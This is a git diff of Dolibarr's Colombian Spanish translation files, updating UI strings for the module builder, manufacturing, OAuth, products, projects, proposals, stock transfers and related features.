ListOfDictionariesEntries=Lista de entradas de diccionarios ListOfPermissionsDefined=Lista de permisos definidos SeeExamples=Ver ejemplos aquí -EnabledDesc=Condición para tener este campo activo (Ejemplos: 1 o $ conf-> global-> MYMODULE_MYOPTION) -VisibleDesc=¿El campo es visible? (Ejemplos: 0=Nunca visible, 1=Visible en la lista y crear/actualizar/ver formularios, 2=Visible solo en la lista, 3=Visible en crear/actualizar/ver solo el formulario (no en la lista), 4=Visible en la lista y actualizar/ver solo el formulario (no crear), 5=Visible solo en el formulario de vista final de la lista (no crear, no actualizar).

      Usar un valor negativo significa que el campo no se muestra de forma predeterminada en la lista, pero se puede seleccionar para su visualización).

      Puede ser una expresión, por ejemplo:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      ($user->rights->holiday->define_holiday ? 1 : 0) -DisplayOnPdfDesc=Muestre este campo en documentos PDF compatibles, puede administrar la posición con el campo "Posición".
      Actualmente, los modelos PDF compatibles conocidos son: eratosthene (pedido), espadon (envios), sponge (facturas), cyan (propal/presupuesto), cornas (pedido del proveedor)

      Para documento:
      0 = no mostrar
      1 = mostar
      2 = mostrar sólo si no está vacío

      Para lineas de documentos:
      0 = no mostradas
      1 = mostradas en una columna
      3 = mostrar en la columna de descripción de línea después de la descripción
      4 = display en la columna de descripción después de la descripción solo si no está vacía +EnabledDesc=Condición para tener este campo activo.

      Ejemplos:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=¿Se ve el campo? (Ejemplos: 0=Nunca visible, 1=Visible en la lista y formularios de creación/actualización/vista, 2=Visible solo en la lista, 3=Visible solo en el formulario de creación/actualización/vista (no en la lista), 4=Visible en la lista y actualizar/ver formulario solamente (no crear), 5=Visible solo en el formulario de vista final de la lista (no crear, no actualizar)

      El uso de un valor negativo significa que el campo no se muestra de forma predeterminada en la lista, pero se puede seleccionar para verlo). +DisplayOnPdfDesc=Muestre este campo en documentos PDF compatibles, puede administrar la posición con el campo "Posición".
      Para documento :
      0 = no mostrar
      1 = mostrar
      2 = mostrar solo si no vacio

      Para lineas de documento :
      0 = no mostrar
      1 = mostrar en columna
      3 = mostrar en la columna de descripción de línea después de la descripción
      4 = mostrar en la columna de descripción después de la descripción solo si no está vacío +DisplayOnPdf=en PDF IsAMeasureDesc=¿Se puede acumular el valor del campo para obtener un total en la lista? (Ejemplos: 1 o 0) SearchAllDesc=¿Se utiliza el campo para realizar una búsqueda desde la herramienta de búsqueda rápida? (Ejemplos: 1 o 0) SpecDefDesc=Ingrese aquí toda la documentación que desee proporcionar con su módulo que no esté definida por otras pestañas. Puede usar .md o mejor, la rica sintaxis .asciidoc. @@ -69,6 +71,7 @@ LanguageDefDesc=Ingrese en estos archivos, toda la clave y la traducción para c MenusDefDesc=Defina aquí los menús proporcionados por su módulo DictionariesDefDesc=Defina aquí los diccionarios proporcionados por su módulo PermissionsDefDesc=Defina aquí los nuevos permisos proporcionados por su módulo +MenusDefDescTooltip=Los menús proporcionados por su módulo/aplicación se definen en la matriz $this->menus en el archivo descriptor del módulo. Puede editar manualmente este archivo o usar el editor incorporado.

      Nota: Una vez definidos (y el módulo reactivado), los menús también son visibles en el editor de menús disponible para los usuarios administradores en %s. DictionariesDefDescTooltip=Los diccionarios proporcionados por su módulo / aplicación se definen en la matriz $ this-> dictionary en el archivo descriptor del módulo. Puede editar manualmente este archivo o utilizar el editor incorporado.

      Nota: Una vez definidos (y el módulo reactivado), los diccionarios también son visibles en el área de configuración para los usuarios administradores en %s. PermissionsDefDescTooltip=Los permisos proporcionados por su módulo / aplicación se definen en la matriz $ this-> rights en el archivo descriptor del módulo. Puede editar manualmente este archivo o utilizar el editor incorporado.

      Nota: Una vez definidos (y el módulo reactivado), los permisos son visibles en la configuración de permisos predeterminada %s. HooksDefDesc=Defina en la propiedad module_parts['hooks'] , en el descriptor del módulo, el contexto de los ganchos (hooks) que desea administrar (la lista de contextos se puede encontrar mediante una búsqueda en ' initHooks (' en el código central).
      El archivo de gancho (hook) para agregar el código de sus funciones enganchadas (las funciones enganchables se pueden encontrar mediante una búsqueda en ' executeHooks ' en el código central). @@ -92,11 +95,15 @@ UseSpecificEditorURL =Utilice una URL de editor específica UseSpecificFamily =Usa una familia específica UseSpecificAuthor =Usa un autor específico UseSpecificVersion =Utilice una versión inicial específica +IncludeRefGeneration=La referencia de este objeto debe generarse automáticamente mediante reglas de numeración personalizadas. +IncludeDocGeneration=Quiero que la función genere algunos documentos (PDF, ODT) a partir de plantillas para este objeto IncludeDocGenerationHelp=Si marca esto, se generará algún código para agregar un cuadro "Generar documento" en el registro. -ShowOnCombobox=Mostrar valor en el cuadro combinado +ShowOnCombobox=Mostrar valor en cuadros combinados KeyForTooltip=Clave para información sobre herramientas ForeignKey=Clave externa +TypeOfFieldsHelp=Ejemplo:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      ' 1' significa que agregamos un botón + después del combo para crear el registro
      'filtro' es una condición sql, ejemplo: 'status=1 AND fk_user=__USER_ID__ AND entidad IN (__SHARED_ENTITIES__)' AsciiToHtmlConverter=Convertidor de ascii a HTML AsciiToPdfConverter=Convertidor de ascii a PDF TableNotEmptyDropCanceled=Mesa no vacía. Drop ha sido cancelado. ModuleBuilderNotAllowed=El constructor de módulos está disponible pero no está permitido para su usuario. +TabsDefDescTooltip=Las pestañas proporcionadas por su módulo/aplicación se definen en la matriz $this->tabs en el archivo descriptor del módulo. Puede editar manualmente este archivo o usar el editor integrado. diff --git a/htdocs/langs/es_CO/mrp.lang b/htdocs/langs/es_CO/mrp.lang index ee1902077da..7f31aabc1af 100644 --- a/htdocs/langs/es_CO/mrp.lang +++ b/htdocs/langs/es_CO/mrp.lang @@ -5,8 +5,7 @@ LatestBOMModified=Último %s Listas de materiales modificadas LatestMOModified=Últimas órdenes de fabricación %s modificadas Bom=Facturas de material BOMsSetup=Configuración de la lista de materiales del módulo -ListOfBOMs=Lista de listas de materiales - BOM -ListOfManufacturingOrders=Lista de órdenes de fabricación +ListOfManufacturingOrders=Órdenes de Fabricación BOMsNumberingModules=Plantillas de numeración de listas de materiales BOMsModelModule=Plantillas de documentos BOM MOsNumberingModules=Plantillas de numeración MO @@ -45,5 +44,10 @@ AutoCloseMO=Cerrar automáticamente la Orden de Fabricación si se alcanzan las NoStockChangeOnServices=Sin cambio de stock en los servicios ProductsToProduce=Productos a producir BOMTotalCost=El costo de producir esta lista de materiales en función del costo de cada cantidad y producto a consumir (use el precio de costo si está definido, de lo contrario, el precio promedio ponderado si está definido, de lo contrario, el mejor precio de compra) +BOMTotalCostService=Si el módulo "Estación de trabajo" está activado y una estación de trabajo está definida por defecto en la línea, entonces el cálculo es "cantidad (convertida en horas) x estación de trabajo ahr", de lo contrario, "cantidad (convertida en horas) x precio de costo del servicio" ErrorAVirtualProductCantBeUsedIntoABomOrMo=Un kit no se puede utilizar en una lista de materiales o un MO CollapseBOMHelp=Puede definir la visualización predeterminada de los detalles de la nomenclatura en la configuración del módulo BOM +MoChildGenerate=Generar hijo MO +MOChild=MO Niño +BOMProductsList=productos de BOM +BOMServicesList=servicios de BOM diff --git a/htdocs/langs/es_CO/oauth.lang b/htdocs/langs/es_CO/oauth.lang index 4cc5705833c..f6938103fc8 100644 --- a/htdocs/langs/es_CO/oauth.lang +++ b/htdocs/langs/es_CO/oauth.lang @@ -7,6 +7,7 @@ HasAccessToken=Se generó un token y se guardó en la base de datos local ToCheckDeleteTokenOnProvider=Haga clic aquí para verificar / eliminar la autorización guardada por un proveedor de OAuth %s UseTheFollowingUrlAsRedirectURI=Utilice la siguiente URL como URI de redireccionamiento al crear sus credenciales con su proveedor de OAuth: SeePreviousTab=Ver pestaña anterior +OAuthProvider=proveedor de OAuth OAuthIDSecret=ID y secreto de OAuth TOKEN_REFRESH=Actualización de Token Presente TOKEN_EXPIRED=Token caducado @@ -15,5 +16,7 @@ OAUTH_GOOGLE_NAME=Servicio OAuth de Google OAUTH_GOOGLE_ID=ID de Google de OAuth OAUTH_GITHUB_NAME=Servicio OAuth GitHub OAUTH_GITHUB_ID=ID de GitHub de OAuth +OAUTH_URL_FOR_CREDENTIAL=Vaya a
      esta página para crear u obtener su ID y secreto de OAuth OAUTH_STRIPE_TEST_NAME=Prueba de banda de OAuth OAUTH_STRIPE_LIVE_NAME=OAuth Stripe en vivo +OAUTH_SECRET=secreto OAuth diff --git a/htdocs/langs/es_CO/orders.lang b/htdocs/langs/es_CO/orders.lang index 1a851299eec..f79bfbe11db 100644 --- a/htdocs/langs/es_CO/orders.lang +++ b/htdocs/langs/es_CO/orders.lang @@ -1,4 +1,5 @@ # Dolibarr language file - Source file is en_US - orders +OrderExists=Ya había un pedido abierto vinculado a esta propuesta, por lo que no se creó ningún otro pedido automáticamente OrdersArea=Área de pedidos de clientes SuppliersOrdersArea=Área de órdenes de compra OrderCard=Tarjeta de pedido diff --git a/htdocs/langs/es_CO/other.lang b/htdocs/langs/es_CO/other.lang index a1145b33139..18f663e673f 100644 --- a/htdocs/langs/es_CO/other.lang +++ b/htdocs/langs/es_CO/other.lang @@ -203,3 +203,16 @@ PopuCom=Productos / servicios por popularidad en pedidos ProductStatistics=Estadísticas de productos / servicios NbOfQtyInOrders=Cant. En pedidos ConfirmBtnCommonTitle =Confirma tu acción +Autofill =Autocompletar +ExternalSiteURL=URL del sitio externo del iframe HTML +ExampleMyMenuEntry=Mi entrada en el menú +FailedToConnectToFTPServer=Error al conectarse al servidor (servidor %s, puerto %s) +FailedToConnectToFTPServerWithCredentials=No se pudo ingresar al servidor con el usuario/contraseña definidos +FTPFailedToRemoveFile=No se pudo eliminar el archivo %s . +FTPFailedToRemoveDir=No se pudo eliminar el directorio %s: verifique los permisos y que el directorio esté vacío. +ChooseAFTPEntryIntoMenu=Elija un sitio FTP/SFTP del menú... +FailedToGetFile=Error al obtener los archivos %s +FileWasUpload=Se cargó el archivo %s +FTPFailedToUploadFile=No se pudo cargar el archivo %s . +FileWasCreateFolder=Se ha creado la carpeta %s +FTPFailedToCreateFolder=No se pudo crear la carpeta %s. diff --git a/htdocs/langs/es_CO/partnership.lang b/htdocs/langs/es_CO/partnership.lang index 122f5cf7523..512a1e0d37d 100644 --- a/htdocs/langs/es_CO/partnership.lang +++ b/htdocs/langs/es_CO/partnership.lang @@ -12,3 +12,4 @@ ReferingWebsiteCheck=Comprobación de la referencia del sitio web DatePartnershipEnd=Fecha final PartnershipCanceled=Cancelado PartnershipManagedFor=Socios son +NewPartnershipRequestDesc=Este formulario le permite solicitar ser parte de uno de nuestros programas de asociación. Si necesita ayuda para completar este formulario, comuníquese por correo electrónico %s. diff --git a/htdocs/langs/es_CO/productbatch.lang b/htdocs/langs/es_CO/productbatch.lang index 4435b1bc075..24103889288 100644 --- a/htdocs/langs/es_CO/productbatch.lang +++ b/htdocs/langs/es_CO/productbatch.lang @@ -23,3 +23,4 @@ SerialNumberAlreadyInUse=El número de serie %s ya se usa para el producto %s BatchSerialNumberingModules=Regla de numeración para la generación automática de número de serie (para productos con propiedad 1 lote / serie único para cada producto) QtyToAddAfterBarcodeScan=Cantidad a %s por cada código de barras/lote/serie escaneado EndOfLife=Fin de la vida +CantMoveNonExistantSerial=Error. Pides un movimiento en un registro de un serial que ya no existe. Puede ser que tome el mismo serial en el mismo almacén varias veces en el mismo envío o que haya sido utilizado por otro envío. Retire este envío y prepare otro. diff --git a/htdocs/langs/es_CO/products.lang b/htdocs/langs/es_CO/products.lang index 6901f598df8..81baa4caa22 100644 --- a/htdocs/langs/es_CO/products.lang +++ b/htdocs/langs/es_CO/products.lang @@ -8,7 +8,6 @@ ProductNoteTranslated=Nota de producto traducida ProductServiceCard=Tarjeta de productos / servicios ProductId=Identificación de producto / servicio ProductVatMassChange=Actualización global del IVA -ProductVatMassChangeDesc=¡Esta herramienta actualiza la tasa de IVA definida en TODOS los productos y servicios ! MassBarcodeInit=Inicio de código de barras masivo MassBarcodeInitDesc=Esta página se puede usar para inicializar un código de barras en objetos que no tienen un código de barras definido. Verifique antes de que se complete la configuración del código de barras del módulo. ProductAccountancyBuyCode=Código contable (compra) @@ -87,7 +86,7 @@ DeleteProductLine=Eliminar línea de productos ConfirmDeleteProductLine=¿Estás seguro de que quieres eliminar esta línea de productos? QtyMin=Min. Cantidad de compra PriceQtyMin=Precio cantidad min. -PriceQtyMinCurrency=Precio (moneda) para esta cantidad. (sin descuento) +PriceQtyMinCurrency=Precio (moneda) para esta cantidad. VATRateForSupplierProduct=Tasa de IVA (para este proveedor / producto) DiscountQtyMin=Descuento para esta cantidad. NoPriceDefinedForThisSupplier=No se ha definido ningún precio / cantidad para este proveedor / producto @@ -140,7 +139,6 @@ Quarter1=1er. Trimestre Quarter2=2do. Trimestre Quarter3=3er. Trimestre Quarter4=4to. Trimestre -BarCodePrintsheet=Imprimir código de barras PageToGenerateBarCodeSheets=Con esta herramienta, puede imprimir hojas de pegatinas de códigos de barras. Elija el formato de su página de pegatinas, el tipo de código de barras y el valor del código de barras, luego haga clic en el botón %s . NumberOfStickers=Número de stickers para imprimir en la página. PrintsheetForOneBarCode=Imprimir varios adhesivos para un código de barras @@ -200,9 +198,8 @@ SizeUnits=Unidad de tamaño ConfirmDeleteProductBuyPrice=¿Estás seguro de que quieres eliminar este precio de compra? UseProductFournDesc=Agregue una función para definir la descripción del producto definida por los proveedores (para cada referencia de proveedor) además de la descripción para los clientes ProductSupplierDescription=Descripción del proveedor del producto -UseProductSupplierPackaging=Utilice el empaque en los precios del proveedor (vuelva a calcular las cantidades de acuerdo con el empaque establecido en el precio del proveedor al agregar / actualizar la línea en los documentos del proveedor) +UseProductSupplierPackaging=Use empaques para precios redondeados a múltiplos para precios de compra (recalcule las cantidades de acuerdo con los múltiplos establecidos en los precios de compra al agregar/actualizar una línea en los documentos de un proveedor) PackagingForThisProduct=embalaje -PackagingForThisProductDesc=En el pedido del proveedor, solicitará automáticamente esta cantidad (o un múltiplo de esta cantidad). No puede ser inferior a la cantidad mínima de compra. QtyRecalculatedWithPackaging=La cantidad de la línea se volvió a calcular de acuerdo con el embalaje del proveedor. VariantAttributes=Atributos variantes ProductAttributes=Atributos de variante para productos. @@ -239,9 +236,10 @@ ActionAvailableOnVariantProductOnly=Acción solo disponible en la variante de pr ProductsPricePerCustomer=Precios de productos por cliente ProductSupplierExtraFields=Atributos adicionales (precios de proveedores) DeleteLinkedProduct=Eliminar el producto secundario vinculado a la combinación -AmountUsedToUpdateWAP=Cantidad a utilizar para actualizar el precio medio ponderado +AmountUsedToUpdateWAP=Monto unitario a utilizar para actualizar el Precio Promedio Ponderado PMPValue=Precio promedio ponderado mandatoryPeriodNeedTobeSet=Nota: Debe definirse el período (fecha de inicio y finalización) mandatoryHelper=Marque esto si desea un mensaje para el usuario al crear / validar una factura, propuesta comercial, orden de venta sin ingresar una fecha de inicio y finalización en las líneas con este servicio.
      Tenga en cuenta que el mensaje es una advertencia y no un error de bloqueo. SwitchOnSaleStatus=Activar estado de venta SwitchOnPurchaseStatus=Activar estado de compra +StockMouvementExtraFields=Campos extra (movimiento de stock) diff --git a/htdocs/langs/es_CO/projects.lang b/htdocs/langs/es_CO/projects.lang index 2535094af83..2454caa9c2d 100644 --- a/htdocs/langs/es_CO/projects.lang +++ b/htdocs/langs/es_CO/projects.lang @@ -23,6 +23,7 @@ OpportunitiesStatusForOpenedProjects=Lleva cantidad de proyectos abiertos por es OpportunitiesStatusForProjects=Lleva cantidad de proyectos por estado. ShowProject=Mostrar proyecto SetProject=Proyecto conjunto +OutOfProject=fuera del proyecto NoProject=Ningún proyecto definido o propio TimeSpent=Tiempo usado TimeSpentByYou=Tiempo pasado por ti @@ -81,7 +82,8 @@ CantRemoveProject=Este proyecto no se puede eliminar ya que algunos otros objeto ValidateProject=Validar projet ConfirmValidateProject=¿Seguro que quieres validar este proyecto? ConfirmCloseAProject=¿Seguro que quieres cerrar este proyecto? -AlsoCloseAProject=También cierre el proyecto (manténgalo abierto si aún necesita seguir las tareas de producción en él) +AlsoCloseAProject=Cerrar también proyecto +AlsoCloseAProjectTooltip=Manténgalo abierto si aún necesita seguir las tareas de producción en él. ReOpenAProject=Proyecto abierto ConfirmReOpenAProject=¿Seguro que quieres volver a abrir este proyecto? ActionsOnProject=Eventos en proyecto @@ -118,7 +120,7 @@ OpportunityProbability=Probabilidad de la Iniciativa OpportunityProbabilityShort=Prob. de Iniciativa OpportunityAmount=Monto de iniciativa OpportunityAmountShort=Monto de iniciativa -OpportunityWeightedAmount=Importe ponderado de oportunidad +OpportunityWeightedAmount=Cantidad de oportunidad, ponderada por probabilidad OpportunityWeightedAmountShort=Op. cantidad ponderada OpportunityAmountAverageShort=Monto promedio OpportunityAmountWeigthedShort=Monto ponderado @@ -171,7 +173,7 @@ OpportunityPonderatedAmount=Cantidad ponderada de clientes potenciales OpportunityPonderatedAmountDesc=Cantidad de leads ponderada con probabilidad OppStatusQUAL=Calificación OppStatusPROPO=Propuesta -AllowToLinkFromOtherCompany=Permitir vincular proyecto de otra empresa

      Valores admitidos:
      - Mantener vacío: Puede vincular cualquier proyecto de la empresa (predeterminado)
      - "todos": Puede vincular cualquier proyecto, incluso proyectos de otras empresas.
      - Una lista de IDs de terceros separados por comas: puede vincular todos los proyectos de estos terceros (Ejemplo: 123,4795,53)
      +AllowToLinkFromOtherCompany=Permitir vincular un elemento con un proyecto de otra empresa

      Valores admitidos:
      - Mantener vacío: puede vincular elementos con cualquier proyecto de la misma empresa (predeterminado)
      - "todos", incluso puede vincular elementos con cualquier proyecto proyectos de otras empresas
      - Una lista de ID de terceros separados por comas: puede vincular elementos con cualquier proyecto de estos terceros (Ejemplo: 123,4795,53)
      LatestProjects=Últimos proyectos %s LatestModifiedProjects=Últimos proyectos modificados %s NoAssignedTasks=No se encontraron tareas asignadas (asigne proyectos / tareas al usuario actual desde el cuadro de selección superior para ingresar el tiempo) @@ -196,7 +198,7 @@ InvoiceToUse=Proyecto de factura a utilizar InterToUse=Proyecto de intervención a utilizar NewInter=Nueva intervención ProfitIsCalculatedWith=La ganancia se calcula usando -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Nota: los proyectos existentes con todas las tareas en 100%% no se verán afectados: tendrá que cerrarlos manualmente. Esta opción solo afecta a proyectos abiertos. ProjectTasksWithoutTimeSpent=Proyecto de tareas sin tiempo invertido FormForNewLeadDesc=Gracias por llenar el siguiente formulario para contactarnos. También puede enviarnos un correo electrónico directamente a %s . StartDateCannotBeAfterEndDate=La fecha de finalización no puede ser anterior a la fecha de inicio +ErrorPROJECTLEADERRoleMissingRestoreIt=Falta el rol "PROJECTLEADER" o se ha desactivado, restablezca en el diccionario de tipos de contacto diff --git a/htdocs/langs/es_CO/propal.lang b/htdocs/langs/es_CO/propal.lang index 00700b4e8c0..315c8fc64b6 100644 --- a/htdocs/langs/es_CO/propal.lang +++ b/htdocs/langs/es_CO/propal.lang @@ -44,6 +44,7 @@ NoDraftProposals=No hay borradores de propuestas CopyPropalFrom=Crear propuesta comercial copiando propuesta existente CreateEmptyPropal=Crear propuesta comercial vacía o de lista de productos / servicios DefaultProposalDurationValidity=Duración predeterminada de la validez de la propuesta comercial (en días) +DefaultPuttingPricesUpToDate=De forma predeterminada, actualice los precios con los precios actuales conocidos al clonar una propuesta UseCustomerContactAsPropalRecipientIfExist=Use el contacto / dirección con el tipo 'Propuesta de seguimiento de contacto' si se define en lugar de la dirección de un tercero como dirección del destinatario de la propuesta ConfirmClonePropal=¿Estás seguro de que deseas clonar la propuesta comercial %s ? ConfirmReOpenProp=¿Seguro que quieres volver a abrir la propuesta comercial %s ? @@ -59,21 +60,25 @@ TypeContact_propal_internal_SALESREPFOLL=Propuesta de seguimiento representativa TypeContact_propal_external_BILLING=Contacto factura cliente TypeContact_propal_external_CUSTOMER=Propuesta de seguimiento de contacto con el cliente TypeContact_propal_external_SHIPPING=Contacto con el cliente para la entrega -DocModelAzurDescription=Un modelo de propuesta completo (implementación anterior de la plantilla Cyan) -DocModelCyanDescription=Un modelo de propuesta completo +CaseFollowedBy=Caso seguido de +ConfirmMassNoSignature=Confirmación masiva no firmada +ConfirmRefusePropal=¿Seguro que quiere rechazar esta propuesta comercial? +DefaultModelPropalClosed=Plantilla predeterminada al cerrar una propuesta comercial (no facturada) DefaultModelPropalCreate=Creación de modelo predeterminado DefaultModelPropalToBill=Plantilla predeterminada al cerrar una propuesta comercial (a facturar) -DefaultModelPropalClosed=Plantilla predeterminada al cerrar una propuesta comercial (no facturada) -ProposalsStatisticsSuppliers=Estadísticas de propuestas de proveedores -CaseFollowedBy=Caso seguido de -Sign=Firmar -IdProposal=ID de propuesta +DocModelAzurDescription=Un modelo de propuesta completo (implementación anterior de la plantilla Cyan) +DocModelCyanDescription=Un modelo de propuesta completo IdProduct=identificación de producto +IdProposal=ID de propuesta LineBuyPriceHT=Precio de compra Importe neto de impuestos para la línea -SignPropal=Aceptar propuesta -RefusePropal=Rechazar propuesta -PropalAlreadySigned=Propuesta ya aceptada +NoSign=Negar +NoSigned=conjunto no firmado PropalAlreadyRefused=Propuesta ya rechazada -PropalSigned=Propuesta aceptada +PropalAlreadySigned=Propuesta ya aceptada PropalRefused=Propuesta rechazada -ConfirmRefusePropal=¿Seguro que quiere rechazar esta propuesta comercial? +PropalSigned=Propuesta aceptada +ProposalsStatisticsSuppliers=Estadísticas de propuestas de proveedores +RefusePropal=Rechazar propuesta +Sign=Firmar +SignFichinter=Señal de intervención +SignPropal=Aceptar propuesta diff --git a/htdocs/langs/es_CO/receiptprinter.lang b/htdocs/langs/es_CO/receiptprinter.lang index f63b80fa446..8c30cee3b37 100644 --- a/htdocs/langs/es_CO/receiptprinter.lang +++ b/htdocs/langs/es_CO/receiptprinter.lang @@ -4,7 +4,7 @@ PrinterAdded=Se agregó la impresora %s TestSentToPrinter=Prueba enviada a la impresora %s ReceiptPrinter=Impresoras de recibos ReceiptPrinterDesc=Configuración de impresoras de recibos -ReceiptPrinterTypeDesc=Descripción del tipo de impresora de recibos +ReceiptPrinterTypeDesc=Ejemplo de valores posibles para el campo "Parámetros" según el tipo de controlador ReceiptPrinterProfileDesc=Descripción del perfil de la impresora de recibos ListPrinters=Lista de impresoras SetupReceiptTemplate=Configuración de plantilla diff --git a/htdocs/langs/es_CO/recruitment.lang b/htdocs/langs/es_CO/recruitment.lang index d963dc83278..15de1630371 100644 --- a/htdocs/langs/es_CO/recruitment.lang +++ b/htdocs/langs/es_CO/recruitment.lang @@ -13,7 +13,6 @@ EmailRecruiter=Reclutador de correo electrónico ToUseAGenericEmail=Utilizar un correo electrónico genérico. Si no se define, se utilizará el correo electrónico del responsable de contratación. ListOfCandidatures=Lista de aplicaciones RecruitmentCandidature=Aplicación -InterviewToDo=Entrevista para hacer YourCandidature=Tu aplicación YourCandidatureAnswerMessage=Gracias por tu aplicación.
      ... JobClosedTextCandidateFound=El puesto de trabajo está cerrado. El puesto ha sido cubierto. @@ -21,3 +20,4 @@ JobClosedTextCanceled=El puesto de trabajo está cerrado. ExtrafieldsJobPosition=Atributos complementarios (puestos de trabajo) ExtrafieldsApplication=Atributos complementarios (solicitudes de empleo) MakeOffer=Haz una oferta +WeAreRecruiting=estamos reclutando Esta es una lista de vacantes a cubrir... diff --git a/htdocs/langs/es_CO/salaries.lang b/htdocs/langs/es_CO/salaries.lang index a59dad2e27c..e7ed10391d5 100644 --- a/htdocs/langs/es_CO/salaries.lang +++ b/htdocs/langs/es_CO/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Cuenta contable utilizada para usuarios de terceros -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=La cuenta de contabilidad dedicada definida en la tarjeta de usuario se usará solo para la contabilidad del libro auxiliar. Este se usará para el Libro mayor y como valor predeterminado de la contabilidad del libro auxiliar si la cuenta de contabilidad del usuario dedicada no está definida. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Cuenta (del plan de cuentas) utilizada por defecto para terceros "usuarios" +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=La cuenta dedicada definida en la tarjeta de usuario se usará solo para contabilidad auxiliar. Este se usará para el Libro mayor y como valor predeterminado de la contabilidad del Libro mayor auxiliar si no se define una cuenta de contabilidad de usuario dedicada en el usuario. CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=Por defecto, deje vacía la opción "Crear automáticamente un pago total" al crear un salario. AddSalaryPayment=Agregar pago de salario THM=Tarifa por hora promedio diff --git a/htdocs/langs/es_CO/stocks.lang b/htdocs/langs/es_CO/stocks.lang index 137e6c47dfe..d0d630fc59d 100644 --- a/htdocs/langs/es_CO/stocks.lang +++ b/htdocs/langs/es_CO/stocks.lang @@ -30,7 +30,7 @@ NumberOfProducts=Número total de productos StockCorrection=Corrección de stock CorrectStock=Stock correcto StockTransfer=Transferencia de acciones -MassStockTransferShort=Transferencia masiva de existencias +MassStockTransferShort=Cambio de existencias a granel StockMovement=Movimiento de valores NumberOfUnit=Número de unidades UnitPurchaseValue=Precio unitario de compra @@ -103,6 +103,7 @@ Replenishments=Reabastecimientos NbOfProductBeforePeriod=Cantidad de producto %s en stock antes del período seleccionado (<%s) NbOfProductAfterPeriod=Cantidad de producto %s en stock después del período seleccionado (> %s) MassMovement=Movimiento masivo +SelectProductInAndOutWareHouse=Seleccione un almacén de origen (opcional), un almacén de destino, un producto y una cantidad, luego haga clic en "%s". Una vez hecho esto para todos los movimientos requeridos, haga clic en "%s". RecordMovement=Transferencia de registros ReceivingForSameOrder=Recibos de este pedido StockMovementRecorded=Movimientos de stock registrados @@ -127,7 +128,6 @@ ProductStockWarehouseCreated=Límite de stock para alerta y stock óptimo desead ProductStockWarehouseUpdated=Límite de stock para alerta y stock óptimo deseado actualizado correctamente ProductStockWarehouseDeleted=Límite de stock para alerta y stock óptimo deseado eliminado correctamente AddNewProductStockWarehouse=Establecer un nuevo límite de alerta y stock óptimo deseado -AddStockLocationLine=Disminuya la cantidad y luego haga clic para agregar otro almacén para este producto InventoryDate=Fecha de inventario inventorySetup =Configuración de inventario inventoryListEmpty=No hay inventario en progreso @@ -160,12 +160,29 @@ StockIncreaseAfterCorrectTransfer=Incrementar por corrección / transferencia StockDecreaseAfterCorrectTransfer=Disminuir por corrección / transferencia StockIncrease=Aumento de stock StockDecrease=Disminución de stock +StockIsRequiredToChooseWhichLotToUse=Se requiere un stock existente para poder elegir qué lote usar AlwaysShowFullArbo=Mostrar el árbol completo del almacén en la ventana emergente de los enlaces del almacén (Advertencia: esto puede disminuir drásticamente el rendimiento) UpdateByScaning=Complete la cantidad real escaneando ImportFromCSV=Importar lista CSV de movimiento InfoTemplateImport=El archivo cargado debe tener este formato (* son campos obligatorios):
      Source Warehouse * | Almacén de destino * | Producto * | Cantidad * | Lote / número de serie
      El separador de caracteres CSV debe ser " %s " +AutofillWithExpected=Rellene la cantidad real con la cantidad esperada ProductBatchDoesNotExist=El producto con lote / serie no existe InventoryStartedShort=Empezado QtyWasAddedToTheScannedBarcode=Éxito !! La cantidad se agregó a todos los códigos de barras solicitados. Puede cerrar la herramienta Escáner. -StockChangeDisabled=Cambio en stock deshabilitado +StockChangeDisabled=Cambio de stock deshabilitado NoWarehouseDefinedForTerminal=No hay almacén definido para terminal +ModuleStockTransferName=Transferencia avanzada de acciones +ModuleStockTransferDesc=Gestión avanzada de Stock Transfer, con generación de ficha de transferencia +StockTransferNew=Nueva transferencia de acciones +StockTransferList=Lista de transferencias de acciones +ConfirmValidateStockTransfer=¿Está seguro de que desea validar esta transferencia de acciones con la referencia %s? +DateReelleDepart=fecha real de salida +TypeContact_stocktransfer_internal_STFROM=Remitente de la transferencia de acciones +TypeContact_stocktransfer_internal_STDEST=Destinatario de la transferencia de acciones +TypeContact_stocktransfer_internal_STRESP=Responsable de transferencia de acciones. +StockTransferSheet=Hoja de transferencia de acciones +StockTransferSheetProforma=Hoja de transferencia de acciones proforma +StockStransferIncremented=Cerrado - Acciones transferidas +StockStransferIncrementedShort=Acciones transferidas +StockTransferSetupPage =Página de configuración del módulo de transferencia de acciones +StockTransferRightRead=Leer transferencias de acciones diff --git a/htdocs/langs/es_CO/stripe.lang b/htdocs/langs/es_CO/stripe.lang index e4412f149cc..aaea5c1e0f1 100644 --- a/htdocs/langs/es_CO/stripe.lang +++ b/htdocs/langs/es_CO/stripe.lang @@ -20,7 +20,7 @@ STRIPE_LIVE_WEBHOOK_KEY=Clave en vivo de webhook ONLINE_PAYMENT_WAREHOUSE=Existencias a utilizar para la disminución de existencias cuando se realiza el pago en línea
